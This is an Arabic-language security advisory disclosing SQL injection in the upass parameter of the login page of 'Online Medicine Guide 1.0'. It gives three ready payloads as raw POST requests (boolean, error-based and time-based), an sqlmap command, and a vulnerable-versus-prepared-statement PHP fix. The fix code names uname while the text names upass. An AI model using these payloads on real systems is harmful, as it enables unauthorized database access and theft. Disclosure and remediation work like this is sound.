
# code-projects Online Medicine Guide 1.0 عرضة لحقن SQL
توضح هذه الوثيقة ثغرة حرجة في حقن SQL تم اكتشافها في تطبيق ويب دليل الأدوية عبر الإنترنت. تسمح هذه الثغرة بالوصول غير المصرح به إلى قاعدة البيانات وتشكل مخاطر أمنية كبيرة على التطبيق ومستخدميه.
/login.phpتنبع الثغرة من عدم كفاية التحقق من صحة المدخلات وتنقيتها في ملف /login.php. يقوم التطبيق بدمج مدخلات المستخدم من معامل upass مباشرة في استعلامات SQL دون تنقية مناسبة أو استخدام عبارات مُعدة.
السبب الجذري الفني:
/login.phpupass (POST)POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' OR NOT 1852=1852-- iPRx
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND EXTRACTVALUE(4672,CONCAT(0x5c,0x7176707071,(SELECT (ELT(4672=4672,1))),0x71717a7071))-- knKp
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND (SELECT 2089 FROM (SELECT(SLEEP(5)))zUlY)-- mWfa
تم تأكيد الثغرة باستخدام sqlmap:
sqlmap -u "http://localhost:8000/login.php" --data="uname=admin&upass=test" -p upass --batch --dbs

upassقبل (معرض للخطر):
$query = "SELECT * FROM users WHERE username = '" . $_POST['uname'] . "'";
بعد (آمن):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['uname']]);
إصدار الوثيقة: 1.0
آخر تحديث: 03/10/2025 (يوم/شهر/سنة)